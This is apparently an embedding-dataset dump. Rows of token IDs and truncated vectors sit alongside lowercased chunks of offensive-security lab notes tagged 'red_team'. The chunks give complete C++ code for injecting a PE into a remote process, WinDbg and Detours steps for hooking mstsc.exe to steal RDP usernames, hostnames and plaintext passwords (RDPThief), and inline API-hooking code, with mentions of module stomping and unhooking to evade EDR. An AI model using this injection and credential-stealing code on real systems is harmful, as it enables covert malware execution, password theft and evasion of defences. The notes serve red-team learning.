[ 10085, 1006, 2131, 21572, 9623, 4095, 5243, 2361, 1006, 1007, 1010, 16721, 1035, 5717, 1035, 3638, 1010, 20346, 8569, 12494, 5332, 4371, 1007, 1025, 3191, 21572, 9623, 6491, 6633, 10253, 1006, 2832, 11774, 2571, 1010, 6556, 5302, 8566, 2571...
red_team
96.txt
5
##si! amsiuacscan + 0x54e0. if we inspect that memory location with a debugger, we see it resolves to amsi! dllmaincrtstartup and it contains our shellcode as expected : referencesmasking malicious memory artifacts – part i : phantom dll hollowingforrestorrliving dangerously with module stomping : leveraging code coverage analysis for injecting into legitimately loaded dlls... previousaddressofentrypoint code injection without virtualallocex rwx [SEP]
[ 0.02523089572787285, -0.04829556122422218, 0.3143489360809326, 0.3851735591888428, -0.2741551399230957, -0.8560821413993835, 0.09451328963041306, 0.3829123377799988, -0.015434099361300468, 1.0376707315444946, 0.2402125895023346, -0.025416066870093346, 0.3397636413574219, -0.408842593431472...
[ 5332, 999, 2572, 5332, 6692, 6169, 9336, 1009, 1014, 2595, 27009, 2063, 2692, 1012, 2065, 2057, 22459, 2008, 3638, 3295, 2007, 1037, 2139, 8569, 13327, 1010, 2057, 2156, 2009, 10663, 2015, 2000, 2572, 5332, 999, 21469, 19145, 2378, 26775, ...
red_team
96.txt
6
[CLS] pe injection : executing pes inside remote processescode injectionthis is a quick lab of a simplified way of injecting an entire portable executabe ( pe ) into another running process. note that in order to inject more complex pes, additional dlls in the target process may need to be loaded and import address table fixed and for this, refer to my other lab reflective dll injection. overviewin this lab, i wrote a simple c + + executable that self - injects its pe into a target process. this executable contains 2 functions : main - this is the function that performs the self - injection of the pe image into a specified remote / target process, which is going to be notepad. exe in this case ; injectionentrypoint - this is the function that will get executed by the target process ( notepad ) once notepads gets injected with our pe. this function will pop a messagebox with a name of the module the code is currently running from. if injection is successful, it should spit out a path of notepad. exe. technique overviewinside the current process, that's doing the self - injection of its pe : 1. get the image base address imagebase2. parse the pe headers and get its sizeofimage3. allocate a block of memory ( size of pe image retrieved in step 1 ). let's call it localimage4. copy the image of the current process into the newly allocated local memory localimage5. allocate a new memory block ( size of pe image retrieved in step 1 ) in a remote process - the target process we want to inject the currently running pe into. let's call it targetimage6. calculate the delta between memory addresses targetimage and imagebase, let's call it deltaimagebase 7. relocate / rebase the pe that's stored in localimage to targetimage. for more information about image relocations, see my other lab t1093 : process hollowing and portable executable relocations8. write the patched pe into the targetimage memory location using writeprocessmemory9. create remote thread and point it to injectionentrypoint function inside the pe target processwalkthroughgetting sizeofimage of the current process ( local process ) that will be injecting itself into a target process and allocating a new memory block in
[ -0.0677919015288353, 0.05836733803153038, -0.37168943881988525, 0.10529833287000656, -0.41883930563926697, 0.05954397842288017, -0.34164443612098694, 0.24759194254875183, -0.20482037961483002, 0.11453789472579956, -0.14555701613426208, 0.320677250623703, 0.4281342923641205, 0.0940953865647...
[ 101, 21877, 13341, 1024, 23448, 21877, 2015, 2503, 6556, 6194, 16044, 13341, 15222, 2015, 2003, 1037, 4248, 6845, 1997, 1037, 11038, 2126, 1997, 1999, 20614, 2075, 2019, 2972, 12109, 4654, 8586, 13210, 4783, 1006, 21877, 1007, 2046, 2178, 2...
red_team
97.txt
0
the local process : in my case, the new memory block got allocated at address 0x000001813acc0000. let's copy the current process's image in there : let's allocate a new block of memory in the target process. in my case it got allocated at 0x000001bfc0c20000 : calculate the delta between 0x000001bfc0c20000 and 0x000001813acc0000 and perform image base relocations. once that's done, we can move over our rebased pe from 0x000001813acc0000 to 0x000001bfc0c20000 in the remote process using writeprocessmemory. below shows that our imaged has now been moved to the remote process : finally, we can create a remote thread and point it to the injectionentrypoint function inside the remote process : createremotethread ( targetprocess, null, 0, ( lpthread _ start _ routine ) ( ( dword _ ptr ) injectionentrypoint + deltaimagebase ), null, 0, null ) ; new thread getting created inside notepad. exedemobelow shows how we've injected the pe into the notepad ( pid 11068 ) and executed its function injectionentrypoint which printed out the name of a module the code was running from, proving that the pe injection was succesful : codebelow is the commented code that performs the pe injection : # include < stdio. h > # include < windows. h > typedef struct base _ relocation _ entry { ushort offset : 12 ; ushort type : 4 ; } base _ relocation _ entry, * pbase _ relocation _ entry ; dword injectionentrypoint ( ) { char modulename [ 128 ] = " " ; getmodulefilenamea ( null, modulename, sizeof ( modulename ) ) ; messageboxa ( null, modulename, " obligatory pe injection ", null ) ; return 0 ; } int main ( ) { / / get current image's base address pvoid imagebase = getmodulehandle ( null ) ; pimage _ dos _ header dosheader = ( pimage _ dos _ header ) imagebase ; pimage _ nt _ headers ntheader = ( pimage _ nt _
[ 0.4729991853237152, -0.1029929667711258, -0.2950991690158844, 0.48372331261634827, -0.8942021727561951, -0.33341464400291443, 0.14381423592567444, 0.24877703189849854, -0.0261706355959177, 0.5941416025161743, 0.15341196954250336, -0.1793324053287506, 0.28150105476379395, 0.1272509396076202...
[ 1996, 2334, 2832, 1024, 1999, 2026, 2553, 1010, 1996, 2047, 3638, 3796, 2288, 11095, 2012, 4769, 1014, 2595, 8889, 8889, 24096, 2620, 17134, 6305, 2278, 8889, 8889, 1012, 2292, 1005, 1055, 6100, 1996, 2783, 2832, 1005, 1055, 3746, 1999, 2...
red_team
97.txt
1
headers ) ( ( dword _ ptr ) imagebase + dosheader - > e _ lfanew ) ; / / allocate a new memory block and copy the current pe image to this new memory block pvoid localimage = virtualalloc ( null, ntheader - > optionalheader. sizeofimage, mem _ commit, page _ readwrite ) ; memcpy ( localimage, imagebase, ntheader - > optionalheader. sizeofimage ) ; / / open the target process - this is process we will be injecting this pe into handle targetprocess = openprocess ( maximum _ allowed, false, 9304 ) ; / / allote a new memory block in the target process. this is where we will be injecting this pe pvoid targetimage = virtualallocex ( targetprocess, null, ntheader - > optionalheader. sizeofimage, mem _ commit, page _ execute _ readwrite ) ; / / calculate delta between addresses of where the image will be located in the target process and where it's located currently dword _ ptr deltaimagebase = ( dword _ ptr ) targetimage - ( dword _ ptr ) imagebase ; / / relocate localimage, to ensure that it will have correct addresses once its in the target process pimage _ base _ relocation relocationtable = ( pimage _ base _ relocation ) ( ( dword _ ptr ) localimage + ntheader - > optionalheader. datadirectory [ image _ directory _ entry _ basereloc ]. virtualaddress ) ; dword relocationentriescount = 0 ; pdword _ ptr patchedaddress ; pbase _ relocation _ entry relocationrva = null ; while ( relocationtable - > sizeofblock > 0 ) { relocationentriescount = ( relocationtable - > sizeofblock - sizeof ( image _ base _ relocation ) ) / sizeof ( ushort ) ; relocationrva = ( pbase _ relocation _ entry ) ( relocationtable + 1 ) ; for ( short i = 0 ; i < relocationentriescount ; i + + ) { if ( relocationrva [ i ]. offset ) { patchedaddress = ( pdword _ ptr ) ( ( dword _ ptr ) localimage + relocationtable - > virtualaddre
[ 0.6351761221885681, -0.21816544234752655, -0.18063940107822418, 0.31754979491233826, -0.7443411946296692, -0.15168732404708862, -0.5239008665084839, -0.1153625100851059, -0.16785848140716553, 0.3344499170780182, -0.1489020586013794, -0.15619947016239166, 0.45922955870628357, 0.079539328813...
[ 20346, 2015, 1007, 1006, 1006, 1040, 18351, 1035, 13866, 2099, 1007, 3746, 15058, 1009, 9998, 4974, 2121, 1011, 1028, 1041, 1035, 1048, 15143, 7974, 1007, 1025, 1013, 1013, 2035, 24755, 2618, 1037, 2047, 3638, 3796, 1998, 6100, 1996, 2783, ...
red_team
97.txt
2
##ss + relocationrva [ i ]. offset ) ; * patchedaddress + = deltaimagebase ; } } relocationtable = ( pimage _ base _ relocation ) ( ( dword _ ptr ) relocationtable + relocationtable - > sizeofblock ) ; } / / write the relocated localimage into the target process writeprocessmemory ( targetprocess, targetimage, localimage, ntheader - > optionalheader. sizeofimage, null ) ; / / start the injected pe inside the target process createremotethread ( targetprocess, null, 0, ( lpthread _ start _ routine ) ( ( dword _ ptr ) injectionentrypoint + deltaimagebase ), null, 0, null ) ; return 0 ; } referencessome thoughts about pe injection | andrea fortunaso long, and thanks for all the fishpe injection explained - sevagasportable executable injection for beginners - malwaretechmalwaretechpreviousmodule stomping for shellcode injection [SEP]
[ 0.28283873200416565, 0.4193928837776184, -0.000884765584487468, 0.02098979987204075, -0.7001461386680603, -0.5837036371231079, -0.4344993233680725, 0.39308837056159973, 0.16896778345108032, 0.524878740310669, 0.08013206720352173, -0.24231067299842834, 0.7349273562431335, 0.3237522840499878...
[ 4757, 1009, 18344, 19146, 1031, 1045, 1033, 1012, 16396, 1007, 1025, 1008, 8983, 11960, 14141, 8303, 1009, 1027, 7160, 9581, 3351, 15058, 1025, 1065, 1065, 18344, 10880, 1027, 1006, 14255, 26860, 1035, 2918, 1035, 18344, 1007, 1006, 1006, 1...
red_team
97.txt
3
[CLS] api monitoring and hooking for offensive toolingrio recently posted about his tool rdpthief which i thought was plain genius. it allows for offensive operators to steal rdp credentials by injecting rdpthief's dll into the rdp client mstsc. exe. under the hood, rdpthief does the following : hooks mstsc. exe functions responsible for dealing with user supplied credentialsintercepts the user supplied username, password, hostname during authenticationwrites out intercepted credentials and hostname to a filethese are some notes of me tinkering with api monitor, windbg and detours ( microsoft's library for hooking windows apis ) and reproducing some of the steps rio took during his research and development of rdpthief. these notes will serve me as a reference for future on how to identify and hook interesting functions that can be useful when writing offensive tooling. walkthroughif we launch mstsc. exe and attempt connecting to a remote host ws01 :.. we are prompted to enter credentials : rdp authentication promptif api monitor was attached to mstsc. exe when we tried to authenticate to the remote host ws01, we should now have a huge list of api calls invoked by mstsc. exe and its module logged. intercepting usernameif we search for a string spotless, we will find some functions that take spotless as a string argument and one of those functions is credismarshaledcredentialw as shown below : credismarshaledcredentialw contains the string spotlesscredismarshaledcredentialw contains the string spotlessin windbg, if we put a breakpoint on advapi32! credismarshaledcredentialw and print out its first and only argument ( stored in rcx register per x64 calling convention ), we will see desktop - nu8qcib \ spotless printed out : bp advapi32! credismarshaledcredentialw " du @ rcx " advapi32! credismarshaledcredentialw breakpoint hit and username printedadvapi32! credismarshaledcredentialw breakpoint hit and username printed - stillintercepting hostnameto find the hostname of the rdp connection, we find api calls that took ws01 (
[ 0.08766952902078629, -0.7166922688484192, -0.38801756501197815, 0.8393951654434204, 0.14095130562782288, 0.289090633392334, -0.702765703201294, 0.4932848811149597, 0.12188749015331268, 0.6041849851608276, -0.2403661012649536, -0.3528745770454407, 0.322870135307312, -0.6930435299873352, -...
[ 101, 17928, 8822, 1998, 8103, 2075, 2005, 5805, 6994, 2075, 9488, 3728, 6866, 2055, 2010, 6994, 16428, 13876, 4048, 12879, 2029, 1045, 2245, 2001, 5810, 11067, 1012, 2009, 4473, 2005, 5805, 9224, 2000, 8954, 16428, 2361, 22496, 2011, 1999, ...
red_team
98.txt
0
our hostname ) as a string argument. although rdpthief hooks sspicli! sspiprepareforcredread ( hostname supplied as a second argument ), another function that could be considered for hooking is credreadw ( hostname a the first argument ) as seen below : if we jump back to windbg and set another breakpoint for credreadw and attempt to rdp to our host ws01, we get a hit : bp advapi32! credreadw " du @ rcx " out of curiosity, let's also put a breakpoint on sspicli! sspiprepareforcredread and once it's hit, print out the second argument supplied to the function, which is stored in the rdx register : bp sspicli! sspiprepareforcredreaddu @ rdxintercepting passwordwe now know the functions required to hook for intercepting the username and the hostname. what's left is hooking the function that deals in one way or another with the password and from rio's article, we know it's the dpapi cryptprotectmemory. weirdly, searching for my password in api monitor resulted in no results although i could see it in plain text in cryptunprotectmemory : password not found in api monitor when using search, although the password is clearly thereplain text password visible in cryptunprotectmemoryreviewing cryptprotectmemory calls manually in api monitor showed no plaintext password either, although there were multiple calls to the function and i would see the password already encrypted : 32 byte encrypted binary blobfrom the above screenshot, note the size of the encrypted blob is 32 bytes - we will come back to this in windbgwhile having issues with api monitor, let's put a breakpoint on cryptprotectmemory in windbg and print out a unicode string ( this should be the plaintext password passed to the function for encryption ) starting 4 bytes into the address ( first 4 bytes indicate the size of the encrypted data ) pointed by the rcx register : bp dpapi! cryptprotectmemory " du @ rcx + 4 " below shows the plain text password on a second break : earlier, i noted the 32 bytes encrypted
[ 0.3784084916114807, -0.49481555819511414, -0.14627321064472198, 0.6245351433753967, 0.07002704590559006, 0.10627911984920502, -0.2846970558166504, 0.01627626270055771, 0.3582612872123718, 0.5714271068572998, -0.01491734478622675, -0.3634847104549408, 0.4424639046192169, -0.6313413381576538...
[ 2256, 3677, 18442, 1007, 2004, 1037, 5164, 6685, 1012, 2348, 16428, 13876, 4048, 12879, 18008, 7020, 24330, 3669, 999, 7020, 8197, 28139, 19362, 12879, 2953, 16748, 16200, 4215, 1006, 3677, 18442, 8127, 2004, 1037, 2117, 6685, 1007, 1010, 2...
red_team
98.txt
1
blob seen in cryptprotectmemory function call ( in api monitor ) and also mentioned the 4 byte offset into rcx that holds the size of the encrypted blob - below shows that - first 4 bytes found at rcx ( during the cryptprotectmemory break ) are 0x20 or 32 in decimal : rdpthief in actioncompiling rdpthief provides us with 2 dlls for 32 and 64 bit architectures. let's inject the 64 bit dll into mstsc. exe and attempt to rdp into ws01 - we see the credentials getting intercepted and written to a file : intercepting hostname via credreadwi wanted to confirm if my previous hypothesis about hooking credreadw for intercepting the hostname was possible, so i made some quick changes to the rdpthief's project to test it. i commented out the _ sspiprepareforcredread signature and hooked creadreadw with a new function called hookedcredreadw which will pop a message box each time credreadw is called and print its first argument as the message box text. also, it will update the lpserver variable which is later written to the file creds. txt together with the username and password. below screenshot shows the code changes : of course, we need to register the new hook hookedcredreadw and unregister the old hook _ sspiprepareforcredread : compiling and injecting the new rdpthief dll confirms that the credreadw can be used to intercept the the hostname : referencesrdpthief : extracting clear - text credentials from remote desktop clients - mdsecmdsecgithub - 0x09al / rdpthief : extracting clear text passwords from mstsc. exe using api hooking. githubx64 calling conventiondocsmsftcredismarshaledcredentialw function ( wincred. h ) - win32 appsdocsmsftcommand - line shells & prompt for developers - visual studio ( windows ) docsmsftgithub - mantvydasb / rdpthief : extracting clear text passwords from mstsc. exe using api hooking. githubpreviouspe injection : executing pes inside remote processes [SEP]
[ -0.06392400711774826, -0.5605415105819702, 0.24250800907611847, 0.49771544337272644, -0.46492183208465576, -0.03149741142988205, -0.48894914984703064, -0.19220218062400818, -0.37897056341171265, 1.0018335580825806, 0.004988634958863258, 0.004913045093417168, 0.4948207437992096, -0.25306695...
[ 1038, 4135, 2497, 2464, 1999, 19888, 21572, 26557, 21246, 6633, 10253, 3853, 2655, 1006, 1999, 17928, 8080, 1007, 1998, 2036, 3855, 1996, 1018, 24880, 16396, 2046, 22110, 2595, 2008, 4324, 1996, 2946, 1997, 1996, 4372, 26775, 22571, 3064, 1...
red_team
98.txt
2
[CLS] windows api hookingthis lab is a quick look into how userland winapis can be hooked. a messageboxa function will be hooked in this instance, but it could be any. api hooking is a technique by which we can instrument and modify the behavior and flow of apicalls. url api hooking is one of the techniques used by av / edr solutions to determine if code is malicious. you can read some of my notes on bypassing edrs by leveraging unhooking - bypassing cylance and other avs / edrs by unhooking windows apisfor this lab, i will write a simple c + + program that will work follows : 1. get memory address of the messageboxa function2. read the first 6 bytes of the messageboxa - will need these bytes for unhooking the function3. create a hookedmessagebox function that will be executed when the original messageboxa is called4. get memory address of the hookedmessagebox5. patch / redirect messageboxa to hookedmessagebox6. call messageboxa. code gets redirected to hookedmessagebox7. hookedmessagebox executes its code, prints the supplied arguments, unhooks the messageboxa and transfers the code control to the actual messageboxaexecutionpop the message box before the function is hooked - just to make sure it works and to prove that no functions are hooked so far - it's the first instruction of the program : get the memory address of the messageboxa function : if we dissasemble the bytes at that address, we can definitely see that there is code for messageboxa : note the first 6 bytes 8b ff 55 8b ec 6a ( mind the endian - ness ). we need to save these bytes for future when we want to unhook messageboxa : let's now build the patch ( hook ) bytes :... that will translate into the following assembly instructions : / / push hookedmessagebox memory address onto the stackpush hookedmessagebox / / jump to hookedmessageboxretwe can now patch the messageboxa - memory pane in the bottom right shows the patch being written to the beginning of messageboxa function and the top right shows the beginning of the same function is re - written with a push 3e1474h ; ret instructions :
[ -0.01226770505309105, -0.23972325026988983, -0.7287132143974304, 0.8326214551925659, -0.35729363560676575, -0.09846850484609604, -0.820175051689148, 0.1599770337343216, 0.776740312576294, 0.3046124279499054, 0.10821284353733063, -0.3525301516056061, 0.023327482864260674, -0.709258258342742...
[ 101, 3645, 17928, 8103, 2075, 15222, 2015, 6845, 2003, 1037, 4248, 2298, 2046, 2129, 5310, 3122, 2663, 9331, 2483, 2064, 2022, 13322, 1012, 1037, 4471, 8758, 2050, 3853, 2097, 2022, 13322, 1999, 2023, 6013, 1010, 2021, 2009, 2071, 2022, 2...
red_team
99.txt
0
if we disassemble the address 3e1474h, we can see it contains a jmp to our hookedmessagebox : the hookedmessagebox intercepts and prints out the arguments supplied to messageboxa, then unhooks messageboxa by swaping back the first 6 bytes to the original bytes of the messageboxa function and then calls the messageboxa with the supplied arguments : demoonce the function is hooked, we can call the messageboxa ( null, " hi ", " hi ", mb _ ok ) ; which will invoke the hookedmessagebox, print the intercepted values and display the original message box : codeapi - hooking. cpp # include " pch. h " # include < iostream > # include < windows. h > farproc messageboxaddress = null ; size _ t byteswritten = 0 ; char messageboxoriginalbytes [ 6 ] = { } ; int _ _ stdcall hookedmessagebox ( hwnd hwnd, lpcstr lptext, lpcstr lpcaption, uint utype ) { / / print intercepted values from the messageboxa function std : : cout < < " ohai from the hooked function \ n " ; std : : cout < < " text : " < < ( lpcstr ) lptext < < " \ ncaption : " < < ( lpcstr ) lpcaption < < std : : endl ; / / unpatch messageboxa writeprocessmemory ( getcurrentprocess ( ), ( lpvoid ) messageboxaddress, messageboxoriginalbytes, sizeof ( messageboxoriginalbytes ), & byteswritten ) ; / / call the original messageboxa return messageboxa ( null, lptext, lpcaption, utype ) ; } int main ( ) { / / show messagebox before hooking messageboxa ( null, " hi ", " hi ", mb _ ok ) ; hinstance library = loadlibrarya ( " user32. dll " ) ; size _ t bytesread = 0 ; / / get address of the messagebox function in memory messageboxaddress = getprocaddress ( library, " messageboxa " ) ; / / save the first 6 bytes of the original messagebox
[ 0.19058220088481903, -0.31366202235221863, -0.5429295897483826, 0.9191484451293945, 0.05274796485900879, -0.26776766777038574, -0.8174925446510315, 0.08721153438091278, 0.34506163001060486, 0.3498455882072449, -0.04292271286249161, 0.029055697843432426, 0.179782435297966, -0.28439164161682...
[ 2065, 2057, 4487, 20939, 3366, 19661, 1996, 4769, 1017, 2063, 16932, 2581, 2549, 2232, 1010, 2057, 2064, 2156, 2009, 3397, 1037, 1046, 8737, 2000, 2256, 13322, 7834, 3736, 3351, 8758, 1024, 1996, 13322, 7834, 3736, 3351, 8758, 19115, 2015, ...
red_team
99.txt
1
##a function - will need for unhooking readprocessmemory ( getcurrentprocess ( ), messageboxaddress, messageboxoriginalbytes, 6, & bytesread ) ; / / create a patch " push < address of new messageboxa ) ; ret " void * hookedmessageboxaddress = & hookedmessagebox ; char patch [ 6 ] = { 0 } ; memcpy _ s ( patch, 1, " \ x68 ", 1 ) ; memcpy _ s ( patch + 1, 4, & hookedmessageboxaddress, 4 ) ; memcpy _ s ( patch + 5, 1, " \ xc3 ", 1 ) ; / / patch the messageboxa writeprocessmemory ( getcurrentprocess ( ), ( lpvoid ) messageboxaddress, patch, sizeof ( patch ), & byteswritten ) ; / / show messagebox after hooking messageboxa ( null, " hi ", " hi ", mb _ ok ) ; return 0 ; } referencesmessageboxa function ( winuser. h ) - win32 appsdocsmsftpreviousapi monitoring and hooking for offensive tooling [SEP]
[ -0.45491689443588257, -0.2752610445022583, -0.05361036956310272, 0.46189987659454346, -0.5707302093505859, -0.6372522711753845, -0.5544489622116089, -0.1186271458864212, 0.23977862298488617, 0.7146292924880981, -0.1374586969614029, 0.35122132301330566, 0.04834465682506561, -0.0497354045510...
[ 2050, 3853, 1011, 2097, 2342, 2005, 4895, 6806, 23212, 3070, 3191, 21572, 9623, 6491, 6633, 10253, 1006, 2131, 10841, 14343, 3372, 21572, 9623, 2015, 1006, 1007, 1010, 4471, 8758, 4215, 16200, 4757, 1010, 4471, 8758, 10050, 24965, 3762, 457...
red_team
99.txt
2